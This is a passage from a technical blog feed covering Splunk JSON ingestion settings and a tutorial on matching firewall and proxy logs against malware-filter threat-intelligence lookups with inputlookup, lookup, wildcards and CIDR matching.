B.</p><h2 id="search-head-propsconf">Search head props.conf <a href="#search-head-propsconf" class="headerlink" title="Search head props.conf">§</a></h2><pre><div class="caption"><span>props.conf</span></div><code class="hljs plain">[app_a_event]description = App A logsKV_MODE = noneAUTO_KV_JSON = 0SHOULD_LINEMERGE = 0</code></pre><p>Since index-time field extraction is already enabled using <code>INDEXED_EXTRACTIONS</code>, search-time field extraction is no longer necessary. If <code>KV_MODE</code> and <code>AUTO_KV_JSON</code> are not disabled, there will be duplicate fields in the search result.</p><p>In Splunk Enterprise, the above file can be saved in a custom app, e.g. “$SPLUNK_HOME&#x2F;etc&#x2F;app&#x2F;custom-app&#x2F;default&#x2F;props.conf”</p><p>For Splunk Cloud deployment, the above configuration can be added through a custom app or Splunk Web: <strong>Settings &gt; <a href="https://docs.splunk.com/Documentation/SplunkCloud/latest/Data/Managesourcetypes">Source types</a></strong>.</p><h2 id="ingesting-api-response">Ingesting API response <a href="#ingesting-api-response" class="headerlink" title="Ingesting API response">§</a></h2><p>It is important to note <code>SEDCMD</code> <a href="https://www.aplura.com/assets/pdf/props_conf_order.pdf">runs</a> <a href="https://wiki.splunk.com/Community:HowIndexingWorks">after</a> <code>INDEXED_EXTRACTIONS</code>. I noticed <a href="https://community.splunk.com/t5/Getting-Data-In/SEDCMD-not-actually-replacing-data-during-indexing/m-p/387812/highlight/true#M69511">this behaviour</a> when I tried to ingest API response of <a href="https://gitlab.com/curben/splunk-scripts/-/tree/main/TA-librenms-data-poller?ref_type=heads">LibreNMS</a>.</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ok&quot;</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;devices&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>    <span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;device_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span> <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>    <span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;device_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">2</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span> <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>    <span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;device_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span> <span class="hljs-punctuation">&#125;</span>  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;count&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">&#125;</span></code></pre><p>In this scenario, I only wanted to ingest “devices” array where each item is an event. The previous approach not only did not split the array, but “status” and “count” fields still existed in each event despite the use of SEDCMD to remove them.</p><p>The solution is not to use INDEXED_EXTRACTIONS (index-time field extraction), but use KV_MODE (search-time field extraction) instead. INDEXED_EXTRACTIONS is not enabled so that SEDCMD works more reliably. If it’s enabled, the JSON parser can unpredictably split part of the prefix (in this case <code>&#123;&quot;status&quot;: &quot;ok&quot;, &quot;devices&quot;: [</code>) or suffix into separate events and SEDCMD does not work across events. SEDCMD does work with INDEXED_EXTRACTIONS, but you have to make sure the replacement is within an event</p><pre><div class="caption"><span>props.conf</span></div><code class="hljs plain"># heavy forwarder or indexer[api_a_response]description = API A response# remove bracket at the start and end of each lineSEDCMD-remove_prefix = s/^\&#123;&quot;status&quot;: &quot;ok&quot;, &quot;devices&quot;: \[//gSEDCMD-remove_suffix = s/\], &quot;count&quot;: [0-9]+\&#125;$//g# separate each object into a lineLINE_BREAKER = &#125;(, )&#123;\&quot;device_id\&quot;# if each line/event is very long# TRUNCATE = 0# a line represents an eventSHOULD_LINEMERGE = 0</code></pre><pre><div class="caption"><span>props.conf</span></div><code class="hljs plain"># search head[api_a_response]description = API A responseKV_MODE = jsonAUTO_KV_JSON = 1</code></pre>]]></content>
    
    
    <summary type="html">Parse single-line JSON into separate events</summary>
    
    
    
    <category term="splunk" scheme="https://mdleom.com/tags/splunk/"/>
    
  </entry>
  
  <entry>
    <title>Malicious website detection on Splunk using malware-filter</title>
    <link href="https://mdleom.com/blog/2023/04/16/splunk-lookup-malware-filter/"/>
    <id>https://mdleom.com/blog/2023/04/16/splunk-lookup-malware-filter/</id>
    <published>2023-04-16T00:00:00.000Z</published>
    <updated>2023-04-16T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://gitlab.com/malware-filter/splunk-malware-filter">Splunk Add-on for malware-filter</a> includes the following CSV files:</p><ul><li>botnet-filter-splunk.csv</li><li>botnet_ip.csv</li><li>opendbl_ip.csv</li><li>phishing-filter-splunk.csv</li><li>pup-filter-splunk.csv</li><li>urlhaus-filter-splunk-online.csv</li><li>vn-badsite-filter-splunk.csv</li></ul><p>These CSV files can be used as <a href="https://docs.splunk.com/Documentation/Splunk/latest/Knowledge/Aboutlookupsandfieldactions">lookups</a> to find potentially malicious traffic. They contain a list of bad IPs&#x2F;domains&#x2F;URLs and we are going to look for those values in the <a href="https://docs.splunk.com/Splexicon:Event">events</a>.</p><p>We can view the content of a lookup file by using <a href="https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Inputlookup"><code>inputlookup</code></a>. When using that command, there should always be a leading pipe character “|” because it is an <a href="https://docs.splunk.com/Splexicon:Generatingcommand">event-generating</a> command.</p><h2 id="lookup-file-locations">Lookup file locations <a href="#lookup-file-locations" class="headerlink" title="Lookup file locations">§</a></h2><p>Lookup file can be uploaded via <a href="https://docs.splunk.com/Documentation/Splunk/latest/Knowledge/Usefieldlookupstoaddinformationtoyourevents#Upload_the_lookup_table_file">Splunk Web</a> or creating the file in the following locations:</p><ul><li><code>$SPLUNK_HOME/etc/users/&lt;username&gt;/&lt;app_name&gt;/lookups/</code></li><li><code>$SPLUNK_HOME/etc/apps/&lt;app_name&gt;/lookups/</code></li><li><code>$SPLUNK_HOME/etc/system/lookups/</code></li></ul><p>In Splunk Web, setting the permission to app-sharing or global-sharing will automatically moves the file to the second or third location respectively. Uploaded lookup file can be used straight away without having to reload app or restart Splunk, regardless of which way it was created.</p><h2 id="inputlookup-basics">inputlookup basics <a href="#inputlookup-basics" class="headerlink" title="inputlookup basics">§</a></h2><pre><code class="hljs spl">| inputlookup botnet_ip.csv</code></pre><blockquote><p><code>_time</code> field is omitted for brevity.</p></blockquote><table><thead><tr><th>first_seen_utc</th><th>dst_ip</th><th>dst_port</th><th>c2_status</th><th>last_online</th><th>malware</th><th>updated</th></tr></thead><tbody><tr><td>2021-05-16 19:49:33</td><td>1.2.3.4</td><td>1234</td><td>online</td><td>2023-03-05</td><td>Lorem</td><td>2023-03-04T16:41:17Z</td></tr></tbody></table><p>The output is no different to any other event, we can specify which fields to be displayed and then rename the fields.</p><pre><code class="hljs spl">| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst</code></pre><table><thead><tr><th>dst</th></tr></thead><tbody><tr><td>178.128.23.9</td></tr></tbody></table><h2 id="search-for-specific-events">Search for specific events <a href="#search-for-specific-events" class="headerlink" title="Search for specific events">§</a></h2><p>Example firewall events:</p><pre><code class="hljs spl">index=firewall</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>1.2.3.4</td><td>allowed</td></tr><tr><td>192.168.1.3</td><td>45452</td><td>7.6.5.4</td><td>allowed</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td></tr><tr><td>192.168.1.6</td><td>45451</td><td>7.7.5.5</td><td>allowed</td></tr></tbody></table><p>Notice the second row’s <code>dst</code> value matches <code>dst_port</code> value of the example lookup table shown in the <a href="#inputlookup-basics">previous section</a>.</p><p>To match for <code>dst</code> value of the firewall events and <code>dst_ip</code> of the lookup file, use a <a href="https://docs.splunk.com/Documentation/SplunkCloud/latest/SearchTutorial/Useasubsearch">subsearch</a> with <code>inputlookup</code>. In this example, the subsearch extracts only the <code>dst_ip</code> field and rename it to <code>dst</code> in order to match the same field in the firewall events.</p><pre><code class="hljs spl">index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>1.2.3.4</td><td>allowed</td></tr></tbody></table><p>To display events in table format, append <code>| table *</code></p><h2 id="wildcard">Wildcard <a href="#wildcard" class="headerlink" title="Wildcard">§</a></h2><p>Asterisk character (<code>*</code>) in the lookup file does work as a <a href="https://docs.splunk.com/Documentation/SCS/current/Search/Wildcards">wildcard</a>.</p><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>url</th><th>dst_port</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com&#x2F;path1</td><td>443</td></tr><tr><td>192.168.1.3</td><td>foo.com&#x2F;path2</td><td>443</td></tr><tr><td>192.168.1.4</td><td>bar.com&#x2F;path3</td><td>443</td></tr></tbody></table><p>The lookup files do not include wildcard affix.</p><pre><code class="hljs spl">| inputlookup urlhaus-filter-splunk-online.csv</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th></tr></thead><tbody><tr><td>foo.com</td><td></td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr></tbody></table><p>The add-on includes <a href="https://gitlab.com/malware-filter/splunk-malware-filter#geturlhausfilter"><code>geturlhausfilter</code></a> command along with other commands to update their respective lookup file. Those commands has <code>wildcard_suffix</code> argument to append wildcard to the field’s values.</p><pre><code class="hljs plaintext">| geturlhausfilter wildcard_suffix=host| outputlookup override_if_empty=false urlhaus-filter-splunk-online.csv</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th><th>host_wildcard_suffix</th></tr></thead><tbody><tr><td>foo.com</td><td></td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td><td>foo.com*</td></tr></tbody></table><pre><code class="hljs spl">index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host_wildcard_suffix | rename host_wildcard_suffix AS url ]</code></pre><table><thead><tr><th>src</th><th>url</th><th>dst_port</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com&#x2F;path1</td><td>443</td></tr><tr><td>192.168.1.3</td><td>foo.com&#x2F;path2</td><td>443</td></tr></tbody></table><h3 id="wildcard-prefix">Wildcard prefix <a href="#wildcard-prefix" class="headerlink" title="Wildcard prefix">§</a></h3><p>Previous section showed an example using wildcard suffix (“foo.com*“). Wildcard also works as a prefix (“*foo.com”) or even in the middle (“f*o.com”), though these are <a href="https://docs.splunk.com/Documentation/SCS/current/Search/Wildcards#When_to_avoid_wildcard_characters">discouraged</a>.</p><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>domain</th><th>dst_port</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com</td><td>443</td></tr><tr><td>192.168.1.3</td><td>lorem.foo.com</td><td>443</td></tr><tr><td>192.168.1.4</td><td>bar.com</td><td>443</td></tr></tbody></table><pre><code class="hljs spl">| geturlhausfilter wildcard_prefix=host| outputlookup override_if_empty=false urlhaus-filter-splunk-online.csv</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th><th>host_wildcard_prefix</th></tr></thead><tbody><tr><td>foo.com</td><td></td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td><td>*foo.com</td></tr></tbody></table><pre><code class="hljs spl">index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host_wildcard_prefix | rename host_wildcard_prefix AS domain ]</code></pre><table><thead><tr><th>src</th><th>domain</th><th>dst_port</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com</td><td>443</td></tr><tr><td>192.168.1.3</td><td>lorem.foo.com</td><td>443</td></tr></tbody></table><h2 id="matching-multiple-fields">Matching multiple fields <a href="#matching-multiple-fields" class="headerlink" title="Matching multiple fields">§</a></h2><p>File hosting services like Google Docs and Dropbox are commonly abused to host phishing website. For those sites, the lookup should match both domain and path. When specifying more than one field in <code>fields</code> command, all fields will be matched using AND condition.</p><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>domain</th><th>path</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com</td><td>document1.html</td></tr><tr><td>192.168.1.3</td><td>foo.com</td><td>document2.html</td></tr><tr><td>192.168.1.4</td><td>foo.com</td><td>document3.html</td></tr></tbody></table><pre><code class="hljs spl">| inputlookup urlhaus-filter-splunk-online.csv</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th></tr></thead><tbody><tr><td>foo.com</td><td>document1.html</td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr></tbody></table><pre><code class="hljs spl">index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host, path | rename host AS domain ]</code></pre><table><thead><tr><th>src</th><th>domain</th><th>path</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com</td><td>document1.html</td></tr></tbody></table><h3 id="matching-individual-and-multiple-fields">Matching individual and multiple fields <a href="#matching-individual-and-multiple-fields" class="headerlink" title="Matching individual and multiple fields">§</a></h3><p>A lookup file may have rows with empty <code>path</code> to denote a <code>domain</code> should be blocked regardless of paths, while also having rows with both <code>domain</code> and <code>path</code> to denote a specific URL should be blocked instead. The syntax is the same as what was shown in the <a href="#matching-multiple-fields">previous section</a> because Splunk will only match <strong>non-empty</strong> values, empty values will be ignored instead.</p><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>domain</th><th>path</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>bad-domain.com</td><td>lorem-ipsum.html</td></tr><tr><td>192.168.1.3</td><td>bad-domain.com</td><td>foo-bar.html</td></tr><tr><td>192.168.1.4</td><td>docs.google.com</td><td>malware.exe</td></tr><tr><td>192.168.1.4</td><td>docs.google.com</td><td>safe.doc</td></tr></tbody></table><pre><code class="hljs spl">| inputlookup urlhaus-filter-splunk-online.csv</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th></tr></thead><tbody><tr><td>bad-domain.com</td><td></td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr><tr><td>docs.google.com</td><td>malware.exe</td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr></tbody></table><pre><code class="hljs spl">index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host, path | rename host AS domain ]</code></pre><table><thead><tr><th>src</th><th>domain</th><th>path</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>bad-domain.com</td><td>lorem-ipsum.html</td></tr><tr><td>192.168.1.3</td><td>bad-domain.com</td><td>foo-bar.html</td></tr><tr><td>192.168.1.4</td><td>docs.google.com</td><td>malware.exe</td></tr></tbody></table><h2 id="case-insensitive">Case-insensitive <a href="#case-insensitive" class="headerlink" title="Case-insensitive">§</a></h2><p>Lookup file is case-insensitive. If case-sensitive matching is required, use <code>lookup</code> and lookup definition.</p><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>domain</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>loremipsum.com</td></tr></tbody></table><pre><code class="hljs spl">| inputlookup urlhaus-filter-splunk-online.csv</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th></tr></thead><tbody><tr><td>lOrEmIpSuM.com</td><td></td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr><tr><td>docs.google.com</td><td>malware.exe</td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr></tbody></table><pre><code class="hljs spl">index=proxy [| inputlookup urlhaus-filter-splunk-online.csv | fields host, path | rename host AS domain ]</code></pre><table><thead><tr><th>src</th><th>domain</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>loremipsum.com</td></tr></tbody></table><h2 id="cidr-matching">CIDR matching <a href="#cidr-matching" class="headerlink" title="CIDR matching">§</a></h2><p>Splunk automatically detects CIDR-like value in a lookup file and performs CIDR-matching accordingly. However, this behaviour is on best-effort basis and may not work as intended. To explicitly use lookup fields for CIDR-matching, use <code>lookup</code> and lookup definition.</p><pre><code class="hljs spl">index=firewall</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>187.190.252.167</td><td>allowed</td></tr><tr><td>192.168.1.3</td><td>45452</td><td>7.6.5.4</td><td>allowed</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td></tr><tr><td>192.168.1.6</td><td>45451</td><td>89.248.163.100</td><td>allowed</td></tr></tbody></table><pre><code class="hljs spl">| inputlookup opendbl_ip.csv</code></pre><table><thead><tr><th>start</th><th>end</th><th>netmask</th><th>cidr_range</th><th>name</th><th>updated</th></tr></thead><tbody><tr><td>187.190.252.167</td><td>187.190.252.167</td><td>32</td><td>187.190.252.167&#x2F;32</td><td>Emerging Threats: Known Compromised Hosts</td><td>2023-01-30T08:03:00Z</td></tr><tr><td>89.248.163.0</td><td>89.248.163.255</td><td>24</td><td>89.248.163.0&#x2F;24</td><td>Dshield</td><td>2023-01-30T08:01:00Z</td></tr></tbody></table><pre><code class="hljs spl">index=firewall [| inputlookup opendbl_ip.csv | fields cidr_range | rename cidr_range AS dst ]</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>187.190.252.167</td><td>allowed</td></tr><tr><td>192.168.1.6</td><td>45451</td><td>89.248.163.100</td><td>allowed</td></tr></tbody></table><h2 id="inputlookup-lookup">inputlookup + lookup <a href="#inputlookup-lookup" class="headerlink" title="inputlookup + lookup">§</a></h2><p>When using as a subsearch, <code>inputlookup</code> filters the event data and only outputs rows with matching values of specified field(s). <code>lookup</code> enriches the event data by appending new fields to the rows with matching field values. Another way to understand the difference is that <code>inputlookup</code> performs <a href="https://en.wikipedia.org/wiki/Join_(SQL)#Inner_join">inner join</a> while <code>lookup</code> performs <a href="https://en.wikipedia.org/wiki/Join_(SQL)#Left_outer_join">left outer join</a> where the event data is the left table and the lookup file is the right table.</p><p>Despite their difference, it can be useful to use both at the same time to enrich filtered event data, even when using the same lookup file.</p><pre><code class="hljs spl">| inputlookup botnet_ip.csv</code></pre><blockquote><p><code>_time</code> field is omitted for brevity.</p></blockquote><table><thead><tr><th>first_seen_utc</th><th>dst_ip</th><th>dst_port</th><th>c2_status</th><th>last_online</th><th>malware</th><th>updated</th></tr></thead><tbody><tr><td>2021-05-16 19:49:33</td><td>1.2.3.4</td><td>1234</td><td>online</td><td>2023-03-05</td><td>Lorem</td><td>2023-03-04T16:41:17Z</td></tr><tr><td>2021-05-16 19:49:33</td><td>4.3.2.1</td><td>1234</td><td>online</td><td>2023-03-05</td><td>Ipsum</td><td>2023-03-04T16:41:17Z</td></tr></tbody></table><pre><code class="hljs spl">index=firewall</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>1.2.3.4</td><td>allowed</td></tr><tr><td>192.168.1.3</td><td>45452</td><td>7.6.5.4</td><td>allowed</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td></tr><tr><td>192.168.1.6</td><td>45451</td><td>7.7.5.5</td><td>allowed</td></tr></tbody></table><pre><code class="hljs spl">index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>1.2.3.4</td><td>allowed</td></tr><tr><td>192.168.1.3</td><td>45452</td><td>7.6.5.4</td><td>allowed</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td></tr><tr><td>192.168.1.6</td><td>45451</td><td>7.7.5.5</td><td>allowed</td></tr></tbody></table><pre><code class="hljs spl">index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]| lookup botnet_ip.csv dst_ip AS dst OUTPUT c2_status, malware</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th><th>c2_status</th><th>malware</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>1.2.3.4</td><td>allowed</td><td>online</td><td>Lorem</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td><td>online</td><td>Ipsum</td></tr></tbody></table><p>It is also possible to rename lookup destination fields.</p><pre><code class="hljs spl">index=firewall [| inputlookup botnet_ip.csv | fields dst_ip | rename dst_ip AS dst]| lookup botnet_ip.csv dst_ip AS dst OUTPUT c2_status AS &quot;C2 Server Status&quot;, malware AS &quot;Malware Family&quot;</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th><th>C2 Server Status</th><th>Malware Family</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>1.2.3.4</td><td>allowed</td><td>online</td><td>Lorem</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td><td>online</td><td>Ipsum</td></tr></tbody></table><h2 id="lookup-definition">Lookup definition <a href="#lookup-definition" class="headerlink" title="Lookup definition">§</a></h2><p>Lookup definition provides matching rules for a lookup file. It can be configured for case-sensitivity, wildcard, CIDR-matching and others through <a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Transformsconf">transforms.conf</a>. It can also be configured via Splunk Web: Settings → Lookups → Lookup definitions.</p><p>A bare minimum lookup definition is as such:</p><pre><div class="caption"><span>transforms.conf</span></div><code class="hljs plain">[lookup-definition-name]filename = lookup-filename.csv</code></pre><p>transforms.conf can be saved in the following directories in <a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Wheretofindtheconfigurationfiles">order of priority</a> (highest to lowest):</p><ul><li><code>$SPLUNK_HOME/etc/users/&lt;username&gt;/&lt;app_name&gt;/local/</code></li><li><code>$SPLUNK_HOME/etc/apps/&lt;app_name&gt;/local/</code></li><li><code>$SPLUNK_HOME/etc/system/local/</code></li></ul><p>My naming convention for lookup definition is simply removing the <code>.csv</code> extension, e.g. “example.csv” (lookup file), “example” (lookup definition). While it is possible to name a lookup definition with file extension (“example.csv”), I discourage it to avoid confusion.</p><p>It is imperative to note that lookup definition only applies to <code>lookup</code> search command and does <em>not</em> apply to <code>inputlookup</code>. Although <code>inputlookup</code> supports lookup definition as a lookup table (in addition to lookup file), its matching rules will be ignored.</p><h3 id="case-sensitive">Case-sensitive <a href="#case-sensitive" class="headerlink" title="Case-sensitive">§</a></h3><pre><div class="caption"><span>transforms.conf</span></div><code class="hljs plain">[urlhaus-filter-splunk-online]filename = urlhaus-filter-splunk-online.csv# applies to all fieldscase_sensitive_match = 1</code></pre><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>domain</th><th>path</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>bad-domain.com</td><td>lorem-ipsum.html</td></tr><tr><td>192.168.1.3</td><td>bad-domain.com</td><td>lOrEm-iPsUm.hTmL</td></tr></tbody></table><pre><code class="hljs spl">| inputlookup urlhaus-filter-splunk-online</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th></tr></thead><tbody><tr><td>bad-domain.com</td><td>lorem-ipsum.html</td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td></tr></tbody></table><pre><code class="hljs spl">index=proxy| lookup urlhaus-filter-splunk-online host AS domain, path OUTPUT message</code></pre><table><thead><tr><th>src</th><th>domain</th><th>path</th><th>message</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>bad-domain.com</td><td>lorem-ipsum.html</td><td>urlhaus-filter malicious website detected</td></tr><tr><td>192.168.1.3</td><td>bad-domain.com</td><td>lOrEm-iPsUm.hTmL</td><td></td></tr></tbody></table><h3 id="wildcard-lookup">Wildcard (lookup) <a href="#wildcard-lookup" class="headerlink" title="Wildcard (lookup)">§</a></h3><pre><div class="caption"><span>transforms.conf</span></div><code class="hljs plain">[urlhaus-filter-splunk-online]filename = urlhaus-filter-splunk-online.csvmatch_type = WILDCARD(host_wildcard_suffix)</code></pre><pre><code class="hljs spl">index=proxy</code></pre><table><thead><tr><th>src</th><th>url</th><th>dst_port</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com&#x2F;path1</td><td>443</td></tr><tr><td>192.168.1.3</td><td>foo.com&#x2F;path2</td><td>443</td></tr><tr><td>192.168.1.4</td><td>bar.com&#x2F;path3</td><td>443</td></tr></tbody></table><p>The lookup files do not include wildcard affix.</p><pre><code class="hljs spl">| inputlookup urlhaus-filter-splunk-online</code></pre><table><thead><tr><th>host</th><th>path</th><th>message</th><th>updated</th><th>host_wildcard_suffix</th></tr></thead><tbody><tr><td>foo.com</td><td></td><td>urlhaus-filter malicious website detected</td><td>2023-03-13T00:11:20Z</td><td>foo.com*</td></tr></tbody></table><pre><code class="hljs spl">index=proxy| lookup urlhaus-filter-splunk-online host_wildcard_suffix AS url OUTPUT message</code></pre><table><thead><tr><th>src</th><th>url</th><th>dst_port</th><th>message</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>foo.com&#x2F;path1</td><td>443</td><td>urlhaus-filter malicious website detected</td></tr><tr><td>192.168.1.3</td><td>foo.com&#x2F;path2</td><td>443</td><td>urlhaus-filter malicious website detected</td></tr></tbody></table><h3 id="cidr-matching-lookup">CIDR-matching (lookup) <a href="#cidr-matching-lookup" class="headerlink" title="CIDR-matching (lookup)">§</a></h3><pre><div class="caption"><span>transforms.conf</span></div><code class="hljs plain">[opendbl_ip]filename = opendbl_ip.csvmatch_type = CIDR(cidr_range)</code></pre><pre><code class="hljs spl">index=firewall</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>187.190.252.167</td><td>allowed</td></tr><tr><td>192.168.1.3</td><td>45452</td><td>7.6.5.4</td><td>allowed</td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td></tr><tr><td>192.168.1.6</td><td>45451</td><td>89.248.163.100</td><td>allowed</td></tr></tbody></table><pre><code class="hljs spl">| inputlookup opendbl_ip</code></pre><table><thead><tr><th>start</th><th>end</th><th>netmask</th><th>cidr_range</th><th>name</th><th>updated</th></tr></thead><tbody><tr><td>187.190.252.167</td><td>187.190.252.167</td><td>32</td><td>187.190.252.167&#x2F;32</td><td>Emerging Threats: Known Compromised Hosts</td><td>2023-01-30T08:03:00Z</td></tr><tr><td>89.248.163.0</td><td>89.248.163.255</td><td>24</td><td>89.248.163.0&#x2F;24</td><td>Dshield</td><td>2023-01-30T08:01:00Z</td></tr></tbody></table><pre><code class="hljs spl">index=firewall| lookup opendbl_ip cidr_range AS dst OUTPUT name AS threat</code></pre><table><thead><tr><th>src</th><th>src_port</th><th>dst</th><th>action</th><th>threat</th></tr></thead><tbody><tr><td>192.168.1.5</td><td>45454</td><td>187.190.252.167</td><td>allowed</td><td>Emerging Threats: Known Compromised Hosts</td></tr><tr><td>192.168.1.3</td><td>45452</td><td>7.6.5.4</td><td>allowed</td><td></td></tr><tr><td>192.168.1.4</td><td>45457</td><td>4.3.2.1</td><td>allowed</td><td></td></tr><tr><td>192.168.1.6</td><td>45451</td><td>89.248.163.100</td><td>allowed</td><td>Dshield</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">A guide on using malware-filter lookups</summary>
    
    
    
    <category term="splunk" scheme="https://mdleom.com/tags/splunk/"/>
    
  </entry>
  
  <entry>
    <title>SSH certificate using Cloudflare Tunnel</title>
    <link href="https://mdleom.com/blog/2023/02/13/ssh-certificate-cloudflare-tunnel/"/>
    <id>https://mdleom.com/blog/2023/02/13/ssh-certificate-cloudflare-tunnel/</id>
    <published>2023-02-13T00:00:00.000Z</published>
    <updated>2023-02-21T00:00:00.000Z</updated>
    
